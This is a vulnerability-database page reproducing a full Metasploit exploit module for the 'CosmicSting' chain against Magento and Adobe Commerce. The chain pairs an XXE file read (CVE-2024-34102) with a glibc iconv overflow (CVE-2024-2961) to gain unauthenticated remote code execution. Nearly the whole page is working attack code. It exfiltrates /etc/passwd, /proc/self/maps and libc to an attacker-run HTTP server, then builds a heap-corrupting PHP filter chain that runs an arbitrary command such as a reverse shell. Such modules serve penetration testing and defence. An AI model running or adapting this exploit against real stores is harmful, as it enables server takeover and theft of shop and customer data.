Lucene search

K

Magento / Adobe Commerce Remote Code Execution Exploit

🗓️ 22 Oct 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 237 Views

Magento / Adobe Commerce Remote Code Execution Exploit. Allows unauthenticated Remote Code Execution on vulnerable versions of Magento and Adobe Commerce, leveraging Arbitrary File Read and Buffer Overflow in glibc and PHP

Show more
Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Retry
  prepend Msf::Exploit::Remote::AutoCheck
  require 'elftools'

  class ProcSelfMapsError < StandardError; end

  PAD = 20
  HEAP_SIZE = 2 * 1024 * 1024
  BUG = '劄'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'CosmicSting: Magento Arbitrary File Read (CVE-2024-34102) + PHP Buffer Overflow in the iconv() function of glibc (CVE-2024-2961)',
        'Description' => %q{
          This combination of an Arbitrary File Read (CVE-2024-34102) and a Buffer Overflow in glibc (CVE-2024-2961)
          allows for unauthenticated Remote Code Execution on the following versions of Magento and Adobe Commerce and
          earlier if the PHP and glibc versions are also vulnerable:
          - 2.4.7 and earlier
          - 2.4.6-p5 and earlier
          - 2.4.5-p7 and earlier
          - 2.4.4-p8 and earlier

          Vulnerable PHP versions:
          - From PHP 7.0.0 (2015) to 8.3.7 (2024)

          Vulnerable iconv() function in the GNU C Library:
          - 2.39 and earlier

          The exploit chain is quite interesting and for more detailed information check out the references. The tl;dr being:
          CVE-2024-34102 is an XML External Entity vulnerability leveraging  PHP filters to read arbitrary files from the target
          system. The exploit chain uses this to read /proc/self/maps, providing the address of PHP's heap and the libc's filename.
          The libc is then downloaded, and the offsets of libc_malloc, libc_system and libc_realloc are extracted, and made use
          of later in the chain.

          With this information and expert knowledge of PHP's heap (chunks, free lists, buckets, bucket brigades), CVE-2024-2961
          can be exploited. A long chain of PHP filters is constructed and sent in the same way the XXE is exploited, building a
          payload in memory and using the buffer overflow to execute it, resulting in an unauthenticated RCE.
        },
        'Author' => [
          'Sergey Temnikov', # CVE-2024-34102 Discovery
          'Charles Fol',     # CVE-2024-2961 Discovery + RCE PoC
          'Heyder',          # module for CVE-2024-34102
          'jheysel-r7'       # module
        ],
        'References' => [
          [ 'URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'],
          [ 'URL', 'https://sansec.io/research/cosmicsting'],
          [ 'URL', 'https://www.ambionics.io/blog/iconv-cve-2024-2961-p1'],
          [ 'URL', 'https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py'], # PoC this module is based on
          [ 'CVE', '2024-2961'],
          [ 'CVE', '2024-34102']
        ],
        'License' => MSF_LICENSE,
        'Platform' => %w[linux unix],
        'Privileged' => false,
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => %w[unix linux],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
              # Tested with cmd/linux/http/x64/meterpreter_reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2024-07-26', # The date the PoC for this exploit was made public
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']),
        OptInt.new('DOWNLOAD_FILE_TIMEOUT', [ true, 'The amount of time to wait for the XXE to return the file requested', 10]),
      ]
    )
  end

  def check_magento
    etc_password = download_file('/etc/passwd')
    vprint_status('Attempting to download /etc/passwd')
    if etc_password.nil?
      CheckCode::Safe('Unable to download /etc/passwd via the Arbitrary File Read (CVE-2024-34102).')
    else
      CheckCode::Vulnerable('Exploit precondition 1/3 met: Downloading /etc/passwd via the Arbitrary File Read (CVE-2024-34102) was successful.')
    end
  end

  def check_php_rce_requirements
    text = Rex::Text.rand_text_alpha(50)
    base64 = Rex::Text.encode_base64(text)
    path1 = "data:text/plain;base64,#{base64}"

    result1 = download_file(path1)
    if result1 == text
      vprint_good('The data wrapper is working')
    else
      return CheckCode::Safe('The data:// wrapper does not work')
    end

    text = Rex::Text.rand_text_alpha(50)
    base64 = Rex::Text.encode_base64(text)
    path2 = "php://filter//resource=data:text/plain;base64,#{base64}"
    result2 = download_file(path2)

    if result2 == text
      vprint_good('The filter wrapper is working')
    else
      return CheckCode::Safe('The php://filter/ wrapper does not work')
    end

    text = Rex::Text.rand_text_alpha(50)
    compressed_text = compress(text)
    base64 = Base64.encode64(compressed_text).gsub("\n", '')

    path = "php://filter/zlib.inflate/resource=data:text/plain;base64,#{base64}"
    result3 = download_file(path)
    if result3 == text
      vprint_good('The zlib extension is enabled')
    else
      CheckCode::Safe('The zlib extension is not enabled')
    end
    CheckCode::Appears('Exploit precondition 2/3 met: PHP appears to be exploitable.')
  end

  def check_libc_version
    begin
      @libc_binary = get_libc
    rescue ProcSelfMapsError => e
      return CheckCode::Unknown("There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
    end

    return CheckCode::Unknown('Unable to download the glibc binary from the target which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary

    # A string similar to the following should appear in the binary: "GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36."
    printable_strings = @libc_binary.scan(/[[:print:]]{20,}/).map(&:strip)

    libc_version = nil

    printable_strings.each do |string|
      if string =~ /GNU\s+C\s+Library.*version\s+(\d\.\d+)/
        libc_version = Rex::Version.new(Regexp.last_match(1))
        break
      end
    end

    CheckCode::Unknown('Unable to determine the version of libc') unless libc_version

    if libc_version > Rex::Version.new('2.39')
      CheckCode::Safe("glibc version is not vulnerable: #{libc_version}")
    end

    CheckCode::Appears("Exploit precondition 3/3 met: glibc is version: #{libc_version}")
  end

  def check
    setup_module
    print_status('module setup')
    magento_checkcode = check_magento
    return magento_checkcode unless magento_checkcode.code == 'vulnerable'

    print_good(magento_checkcode.reason)

    php_checkcode = check_php_rce_requirements
    return php_checkcode unless php_checkcode.code == 'appears'

    print_good(php_checkcode.reason)

    libc_version_checkcode = check_libc_version
    return libc_version_checkcode unless libc_version_checkcode.code == 'appears'

    print_good(libc_version_checkcode.reason)
    CheckCode::Appears
  end

  def download_file(file)
    @filter_path = "php://filter/convert.base64-encode/convert.base64-encode/resource=#{file}"
    @target_file = file
    @file_data = nil

    send_path(@filter_path)
    retry_until_truthy(timeout: datastore['DOWNLOAD_FILE_TIMEOUT']) do
      break if @file_data
    end
    @file_data
  end

  def send_path(path)
    @filter_path = Rex::Text.encode_base64(path)

    vprint_status('Sending XXE request')
    vprint_status("Filter path being sent: #{@filter_path}")

    system_entity = Rex::Text.rand_text_alpha_lower(4..8)

    xml = "<?xml version='1.0' ?>"
    xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}"
    xml += '['
    xml += "  <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >"
    xml += "    <!ENTITY % #{system_entity} SYSTEM \"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_file}/#{@filter_path}\"> %#{system_entity}; %#{@xxe_param};  "
    xml += ']'
    xml += "> <r>&#{@xxe_exfil};</r>"

    json = {
      address: {
        totalsReader: {
          collectorList: {
            totalCollector: {
              sourceData: {
                data: xml,
                options: 524290
              }
            }
          }
        }
      }
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{Rex::Text.rand_text_alpha(32)}/estimate-shipping-methods"),
      'ctype' => 'application/json',
      'data' => JSON.generate(json)
    })

    res
  end

  def find_main_heap(regions)
    # Any anonymous RW region with a size greater than the base heap size is a candidate.
    # The heap is at the bottom of the region.
    heaps = regions.reverse.each_with_object([]) do |region, arr|
      next unless region[:permissions] == 'rw-p' &&
                  region[:stop] - region[:start] >= HEAP_SIZE &&
                  (region[:stop] & (HEAP_SIZE - 1)).zero? &&
                  ['', '[anon:zend_alloc]'].include?(region[:path])

      arr << (region[:stop] - HEAP_SIZE + 0x40)
    end

    if heaps.empty?
      raise ProcSelfMapsError, "Unable to find PHP's main heap in memory by parsing /proc/self/maps"
    end

    first = heaps[0]

    if heaps.size > 1
      heap_addresses = heaps.map { |heap| "0x#{heap.to_s(16)}" }.join(', ')
      vprint_status("Potential heaps: [i]#{heap_addresses}[/] (using first)")
    else
      vprint_status("Using [i]0x#{first.to_s(16)}[/] as heap")
    end

    vprint_good('Successfully extracted the location in memory of the PHP heap')
    first
  end

  def get_libc_region(regions, *names)
    libc_region = regions.find do |region|
      names.any? { |name| region[:path].include?(name) }
    end

    unless libc_region
      raise ProcSelfMapsError, 'Unable to locate libc region in /proc/self/maps'
    end

    vprint_good("Successfully located the libc region in memory: #{libc_region}")
    libc_region
  end

  def get_libc
    @regions ||= get_regions
    @info['heaps'] = find_main_heap(@regions)
    @libc_region ||= get_libc_region(@regions, 'libc-', 'libc.so')
    download_file(@libc_region[:path])
  end

  def get_symbols_and_addresses
    begin
      @libc_binary ||= get_libc
    rescue ProcSelfMapsError => e
      fail_with(Failure::UnexpectedReply, "There was an issue processing /proc/self/maps which is required to extract the libc version: #{e.class}: #{e}")
    end
    fail_with(Failure::UnexpectedReply, 'Unable to download the glibc binary, which is required to exploit. Rerunning the module could fix this issue.') unless @libc_binary

    # ELFFile expects a file, instead of writing it to disk use StringIO
    libc_binary_file = StringIO.new(@libc_binary)
    elf = ELFTools::ELFFile.new(libc_binary_file)
    symtab_section = elf.section_by_name('.dynsym')
    symbols = symtab_section.symbols

    @info['__libc_malloc'] = nil
    @info['__libc_system'] = nil
    @info['__libc_realloc'] = nil

    symbols.each do |symbol|
      if ['__libc_malloc', '__libc_system', '__libc_realloc'].include? symbol.name
        @info[symbol.name] = symbol.header.st_value.to_i + @libc_region[:start]
      end
    end

    fail_with(Failure::BadConfig, 'Unable to get necessary symbols from libc.so') unless @info['__libc_malloc'] && @info['__libc_system'] && @info['__libc_realloc']
    vprint_status("__libc_malloc: #{@info['__libc_malloc']}")
    vprint_status("__libc_system: #{@info['__libc_system']}")
    vprint_status("__libc_realloc: #{@info['__libc_realloc']}")
  end

  def get_regions
    # Obtains the memory regions of the PHP process by querying /proc/self/maps.
    maps = download_file('/proc/self/maps')
    raise ProcSelfMapsError, '/proc/self/maps was unable able to be downloaded' if maps.blank?

    maps = maps.force_encoding('UTF-8')
    pattern = /^([a-f0-9]+)-([a-f0-9]+)\b.*\s([-rwx]{3}[ps])\s(.+)$/
    regions = []

    # Example lines from: /proc/self/maps
    # 712eebe00000-712eec000000 rw-p 00000000 00:00 0                          [anon:zend_alloc]
    # 712ef14aa000-712ef14ab000 rw-p 00007000 00:59 2144348                    /opt/bitnami/apache/modules/mod_mime.so
    maps.each_line do |region|
      if (match = pattern.match(region))
        start_addr = match[1].to_i(16)
        stop_addr = match[2].to_i(16)
        permissions = match[3]
        path = match[4]

        if path.include?('/') || path.include?('[')
          path = path.split(' ', 4).last
        else
          path = ''
        end

        current = {
          start: start_addr,
          stop: stop_addr,
          permissions: permissions,
          path: path
        }

        regions << current
      else
        raise ProcSelfMapsError, '/proc/self/maps is unparsable'
      end
    end
    vprint_good('Successfully downloaded /proc/self/maps and parsed regions')
    regions
  end

  def compress(data)
    # Compress the data and remove the 2-byte header and 4-byte checksum
    compressed_data = Zlib::Deflate.deflate(data, Zlib::BEST_COMPRESSION)
    compressed_data[2..-5]
  end

  def compressed_bucket(data)
    # Returns a chunk of size 0x8000 that, when dechunked, returns the data.
    chunked_chunk(data, 0x8000)
  end

  def qpe(data)
    # Emulates quoted-printable-encode.
    data.bytes.map { |x| sprintf('=%02X', x) }.join
  end

  def ptr_bucket(*ptrs, size: nil)
    # Raise an error if size is specified and doesn't match the expected length
    if size && ptrs.length * 8 != size
      fail_with(Failure::BadConfig, 'Size must match the length of pointers in ptr_bucket method')
    end

    bucket = ptrs.map { |ptr| p64(ptr) }.join
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    bucket
  end

  def p64(value)
    [value].pack('Q') # Pack as 64-bit little-endian
  end

  def chunked_chunk(data, size = nil)
    if size.nil?
      size = data.bytesize + 8
    end
    keep = data.bytesize + 2 # for "\n\n"
    hex_size = data.bytesize.to_s(16)
    padded_hex_size = hex_size.rjust(size - keep, '0')
    "#{padded_hex_size}\n#{data}\n".b
  end

  def build_exploit_path
    addr_free_slot = @info['heaps'] + 0x20
    addr_custom_heap = @info['heaps'] + 0x0168
    addr_fake_bin = addr_free_slot - 0x10

    cs = 0x100

    # Pad needs to stay at size 0x100 at every step
    pad_size = cs - 0x18
    pad = "\x00" * pad_size
    3.times { pad = chunked_chunk(pad, pad.length + 6) }
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = "\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, cs)
    step1 = compressed_bucket(step1)

    # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
    # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

    step2_size = 0x48
    step2 = "\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, cs)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = "0\n".ljust(step2_size, "\x00") + p64(addr_fake_bin)
    step2_write_ptr = chunked_chunk(step2_write_ptr, cs)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = cs

    step3_overflow = ("\x00" * (step3_size - BUG.bytes.length) + "\xe5\x8a\x84") # BUG bytes
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = cs
    step4 = '=00' + "\x00" * (step4_size - 1)
    3.times { step4 = chunked_chunk(step4) }
    step4 = compressed_bucket(step4)

    step4_pwn = ptr_bucket(
      0x200000,
      0,
      # free_slot
      0,
      0,
      addr_custom_heap, # 0x18
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      @info['heaps'], # 0x140
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      0,
      size: cs
    )

    step4_custom_heap = ptr_bucket(@info['__libc_malloc'], @info['__libc_system'], @info['__libc_realloc'], size: 0x18)
    step4_use_custom_heap_size = 0x140

    # Fetch payloads run the payload in the background and results in multiple sessions being returned.
    # If we prevent the payload from running in the background and kill the parent process after the payload completes
    # running successfully we ensure only one session gets returned and improves the stability allowing the exploit to
    # be run consecutively without issue.
    if payload.encoded.ends_with?(' &')
      command = "#{payload.encoded}& kill -9 $PPID"
    else
      command = "#{payload.encoded} && kill -9 $PPID"
    end

    command = (command + "\x00").b
    command = command.ljust(step4_use_custom_heap_size, "\x00".b)

    vprint_status("COMMAND: #{command}")

    step4_use_custom_heap = command
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = ((step4 * 3) + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + (pad * PAD) + (step1 * 3) + step2_write_ptr + (step2 * 2))

    resource = compress(compress(pages))
    resource = Base64.encode64(resource.b)
    resource = "data:text/plain;base64,#{resource.gsub("\n", '')}"

    filters = [
      # Create buckets
      'zlib.inflate',
      'zlib.inflate',
      # Step 0: Setup heap
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 1: Reverse FL order
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 2: Put fake pointer and make FL order back to normal
      'dechunk',
      'convert.iconv.latin1.latin1',
      # Step 3: Trigger overflow
      'dechunk',
      'convert.iconv.UTF-8.ISO-2022-CN-EXT',
      # Step 4: Allocate at arbitrary address and change zend_mm_heap
      'convert.quoted-printable-decode',
      'convert.iconv.latin1.latin1',
    ]

    filters_string = filters.join('/')

    "php://filter/#{filters_string}/resource=#{resource}"
  end

  def setup_module
    @url_file = Rex::Text.rand_text_alpha_lower(4..8)
    @url_data = Rex::Text.rand_text_alpha_lower(4..8)
    @xxe_param = Rex::Text.rand_text_alpha_lower(4..8)
    @xxe_exfil = Rex::Text.rand_text_alpha_lower(4..8)
    @info = Hash.new
    @module_setup_complete = true

    if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::'
      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
    end

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          on_request_uri(cli, req)
        end,
        'Path' => '/'
      },
      'ssl' => false
    })
    print_status('Server started')
  end

  def exploit
    setup_module unless @module_setup_complete
    fail_with(Failure::BadConfig, 'Payload is too big') if payload.encoded.length >= 0x140 # step4_use_custom_heap_size
    print_status('Attempting to parse libc to extract necessary symbols and addresses')
    get_symbols_and_addresses
    print_status('Attempting to build an exploit PHP filter path with the information extracted from libc and /proc/self/maps')
    path = build_exploit_path
    print_status('Sending payload...')
    send_path(path)
  end

  def cleanup
    # Clean and stop HTTP server
    if service
      begin
        service.remove_resource(datastore['URIPATH'])
        service.deref
        service.stop
        self.service = nil
      rescue StandardError => e
        print_error("Failed to stop http server due to #{e}")
      end
    end
    super
  end

  def on_request_uri(cli, req)
    super
    url_parts = req.uri.split('/')
    case url_parts[1]
    when @url_file
      path = Rex::Text.decode_base64(url_parts[2])
      data = Rex::Text.rand_text_alpha_lower(4..8)
      response = "
<!ENTITY % #{data} SYSTEM \"#{path}\">
<!ENTITY % #{@xxe_param} \"<!ENTITY #{@xxe_exfil} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@url_data}/%#{data};'>\">"
      send_response(cli, response)
    when @url_data
      @file_data = Rex::Text.decode_base64(Rex::Text.decode_base64(req.uri.sub(%r{^/#{@url_data}/}, '')))
      send_response(cli, '')
    else
      print_bad('Server received an unexpected request.')
    end
  end
end

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
22 Oct 2024 00:00Current
9.0High risk
Vulners AI Score9.0
CVSS39.8
EPSS0.973
237
.json
Report